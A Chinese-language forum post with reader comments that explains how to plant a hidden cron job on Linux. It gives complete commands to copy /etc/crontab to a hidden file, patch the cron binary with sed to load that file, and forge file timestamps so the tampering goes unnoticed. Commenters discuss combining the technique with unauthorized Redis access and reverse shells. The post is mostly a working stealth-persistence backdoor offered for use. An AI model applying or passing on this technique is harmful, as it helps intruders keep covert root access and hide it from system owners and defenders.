投稿文章:在cron中添加隐藏计划任务
原理
/etc/crontab
文件是系统级计划任务配置,几乎没有人修改
只需要修改cron程序加载/etc/crontab
的文件名,即可实现隐蔽计划任务
命令
cp /etc/crontab /etc/.cronxx
touch /etc/.cronxx -r /etc/crontab
echo "* * * * * root touch /tmp/fuck.tmp" >> /etc/.cronxx
sed -i 's|/etc/crontab|/etc/.cronxx|g' $(which cron || which crond)
touch $(which cron || which crond) -r $(which crontab)
systemctl restart cron crond
注意:
- touch用于伪装mtime
- sed中修改后的文件名长度必须和
/etc/crontab
文件名长度一致 - echo中的
"* * * * * root touch /tmp/fuck.tmp"
就是添加隐藏命令
优缺点
优点
- 修改简单无需借助其他工具
crontab -l
命令无法查看
缺点
- 日志中仍然会有记录
评论10次
需要root 权限 痕迹还是太重
不错的技巧,虽然就是权限限制比较高
这个基本要高权限才能整
思路不错,但是linux提取一般就那几样,没有oday提不了权。还是不行
crond是二进制文件,这样改也能用吗
1 修改任何二进制程序都可以 2 原来的计划任务失效了
不提权情况能操作计划任务就完美了
篡改人二进制不考虑先备份下么?万一NG了从哪还原? 想用的人注意 .cronxx 这个名字必须是7位和 crontab长度一样,否则必挂。 可以尝试用".空格x6",更具隐藏性,未测慎用。
这个如果有个redis未授权访问,岂不是很好用
这个需要权限,如果搞定了root权限,那么这样的后门也倒是行,不过最好还是不要写无脑反弹的。